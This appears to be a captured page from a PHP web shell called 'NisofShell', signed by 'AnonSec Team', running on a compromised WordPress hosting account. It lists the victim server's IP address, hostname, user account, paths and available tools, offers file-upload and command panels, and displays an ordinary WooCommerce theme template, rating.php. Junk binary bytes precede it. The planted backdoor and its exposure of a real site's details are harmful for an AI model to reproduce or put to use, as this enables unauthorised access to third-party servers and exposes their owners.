%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/w/e/l/wellingtpa/www/wp-content/themes/kata/woocommerce/single-product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/w/e/l/wellingtpa/www/wp-content/themes/kata/woocommerce/single-product/rating.php
<?php
/**
 * Kata Single Product Rating view
 *
 * On occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see         https://docs.woocommerce.com/document/template-structure/
 * @package     WooCommerce\Templates
 * @version     3.6.0
 */

defined( 'ABSPATH' ) || exit;

global $product;

if ( ! wc_review_ratings_enabled() ) {
	return;
}

$rating_count = $product->get_rating_count();
$review_count = $product->get_review_count();
$average      = sprintf( '%.1f', $product->get_average_rating() );
$html         = '<div class="star-rating kata-loop-rating" role="img"><span style="width: 15px;"></span>' . $average . '</div>';

if ( $rating_count > 0 ) : ?>
	<div class="woocommerce-product-rating kata-single-rating">
		<?php
		echo wp_kses_post( $html );

		if ( comments_open() ) :
			?>
			<a href="#reviews" class="woocommerce-review-link" rel="nofollow">
				<?php
				//translators: 1 replaced with link
				printf( _n( '%s review', '%s reviews', $review_count, 'kata' ), '<span class="count">' . esc_html( $review_count ) . '</span>' );
				?>
			</a>
		<?php endif ?>
	</div>

<?php endif; ?>

Anon7 - 2022
AnonSec Team